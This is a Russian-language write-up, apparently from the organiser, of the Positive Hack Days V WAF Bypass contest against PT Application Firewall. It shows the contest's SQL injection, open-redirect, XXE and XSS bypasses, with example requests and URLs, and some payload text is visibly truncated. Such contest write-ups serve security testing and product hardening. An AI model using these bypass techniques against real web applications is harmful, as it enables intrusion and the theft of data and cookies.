Конкурс WAF Bypass на Positive Hack Days V
Как и в прошлом году, на международном форуме по практической безопасности Positive Hack Days проходил конкурс WAF Bypass. Задача участников — обойти защиту PT Application Firewall, веб-файрвола компании Positive Technologies. Специально для конкурса был создан сайт «Choo Choo Roads» с типовыми уязвимостями: Cross-Site Scripting, SQL Injection, XML External Entities Injection, Open Redirect и другими. Результатом обхода проверки для каждой уязвимости были md5-флаги, за которые присуждались очки. Флаги располагались в файловой системе, базе данных, в cookie-параметрах, которые присваивались специальному боту, написанному с использованием Selenium.
Конфигурация WAF для конкурса предусматривала обходы, однако по результатам мы получили и нестандартные решения. Собственно, для этого конкурс и создавался — дать возможность участникам попытать свои силы в обходе проверок и, тем самым, позволить нам улучшить механизмы защиты продукта. Итак, начнем обзор уязвимостей и их обходов.
WarmupУязвимость присутствовала в скрипте, который отслеживал активность пользователя на сайте: POST /online.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 24 Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36
{«timestamp»:1432906707}
Значения поля «timestamp» из JSON-данных в POST-запросе не валидировалось перед использованием в SQL-запросе:
Warning: pg_query (): Query failed: ERROR: invalid input syntax for integer:»1432906707' »
LINE 1: UPDATE activity SET timestamp = '1432906707'' ' WHERE id=1
^ in /var/www/php/online.php on line 8
{«ok»: false}
Обойти проверку можно было, подменив Content-Type, например, на text/xml, в результате чего POST-данные не обрабатывались как JSON (была отключена такая проверка).
Warning: pg_query (): Query failed: ERROR: invalid input syntax for integer: «d2a5400fc306d25b6886612cd203a77e | 26.05 15:30 — Industry monopolist Choo Choo Roads wins a government contract for railroad construction» in /var/www/php/online.php on line 8
{«ok»: false}
XSD-валидация
На сайте присутствовала форма поиска билетов, который осуществлялся путем формирования XML и отправки запроса на бекенд.
POST /tickets.php HTTP/1.1
Host: choo-choo.phdays.com
Connection: keep-alive
Content-Length: 220
Content-Type: text/xml
http://choo-choo.phdays.com/redirect.php? to=phdays.com: asd@host.com http://choo-choo.phdays.com/redirect.php? to=http://ahack.ru%23.phdays.com/ http://choo-choo.phdays.com/redirect.php? to=http%3a//www.samincube.com%3f\…\\www.phdays.com XML External Entities Injection Скрипт, обрабатывающий XML-данные, был подвержен XXE. Для обхода требовалось использовать внешнюю сущность внутри parameter entity: »> %asd; %asd1; ]> Также был возможен обход с помощью кодировки UTF-16: Cross Site Scripting Уязвимость находилась на странице поиска по сайту. Чтобы получить флаг, требовалось отправить куки бота на свой сайт. Для обхода можно было использовать нестандартные атрибуты тэгов, которые обрабатываются библиотекой bootstrap-validator, позволяя выполнять JS-код: http://choo-choo.phdays.com/index.php? search=
Результаты Как и в прошлом году, первое место заняла команда Bushwhackers: Георгий Носеевич, Андрей Петухов и Александр Раздобаров. Они решили все задания еще в первый день! Второе место занял Михаил Степанкин (ArtSploit), а третье — Эльдар Заитов (kyprizel). За первое место мы вручили iPad Air 2, за второе — Sony Xperia Z3, за третье — годовую лицензию программы Burp Suite Professional.
За время конкурса было заблокировано 271390 запросов, что в два раза больше, чем в прошлом году. Зарегистириовалось 302 участника (в прошлом году 101 участник). Лишь 18 человек смогли добыть хотя бы один флаг.
Спасибо всем участникам за интерес к конкурсу!